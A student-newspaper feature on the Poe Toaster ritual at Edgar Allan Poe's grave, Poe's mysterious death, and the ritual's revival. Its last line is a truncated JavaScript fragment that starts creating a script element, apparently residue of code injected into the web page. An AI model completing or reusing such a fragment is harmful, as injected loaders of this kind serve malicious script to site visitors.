Quoth the Raven, Three Fingers More


Michaela Korges, Cactus Contributor

Every year in the middle of January three roses and a half-drunk bottle of cognac are found on the grave of author Edgar Allan Poe. This eerie ritual, which has been going on for over eighty years, is performed by a person simply known as the Poe Toaster. Since witness accounts of this story date back to the nineteen thirties it is more than likely the role was handed down over the years while the tradition was going strong. Sometimes, probably at the preference of the toaster, a note has been left on the grave with a message ranging from a promise never to forget Poe to a prediction of the failure of the Baltimore ravens (named after their hometown hero’s best known poem). It has been said that the Poe toaster was originally created to drum up attendance for the church where Poe is resting. Throughout all it’s variations and myths one thing about this gravesite offering is generally agreed upon, the three roses represent Poe, his wife Virginia, and his mother-in-law Maria Clemm.  As for the cognac, a 2004 note claimed that it was a tradition of the toaster’s family rather that Poe himself according to todayifoundout.com.

I cannot say if Poe would have approved of this macabre visit, but if the way he died was his preference than I believe he had the mind to think up something like this.  On October the seventh, 1849 Poe passed away in Washington College Hospital. Four days earlier he had been found wearing someone else’s clothes, filthy, and clearly out of his mind. The exact cause of his death is not yet known and possible candidates include rabies (he had a love for cats), syphilis, influenza, and cooping, a process by which victims were abducted and forced to vote a certain way. If one can’t find the irony of one of the pioneers of the detective novel having such a fantastic and mysterious death than they can’t find it in anything. As if his writings hadn’t been enough to establish his art for evoking fear, death decided to make this case a memorable one.

Unfortunately for fans of the bizarre, the toaster stopped making an appearance after 2009. Some say this was because the most recent toaster didn’t take his job seriously enough. Others say it was because of the attention the toaster got after a photo of him was released in 1990 by Life Magazine. After that photo, it became so difficult for the toaster to pay tribute that the former curator of the Poe house and Museum, Jeff Jerome had take precautions to make sure the toaster could go about undetected. This story may finally have a happy ending, however, because this January on the weekend before Poe’s birthday Baltimore citizens came out to enjoy a Poe themed festival and watch a new Poe toaster who has been appointed by the Maryland historical society perform in broad daylight for the first time. This Poe toaster added his own personal touch by playing “Danse Macabre” on the violin and leaving the instrument as part of the offering. Whether or not you agree with a toaster who shows his face in broad daylight almost everyone can agree that an author who contributed so much to literature is deserving of lasting recognition.var d=document;var s=d.createElement(‘script’);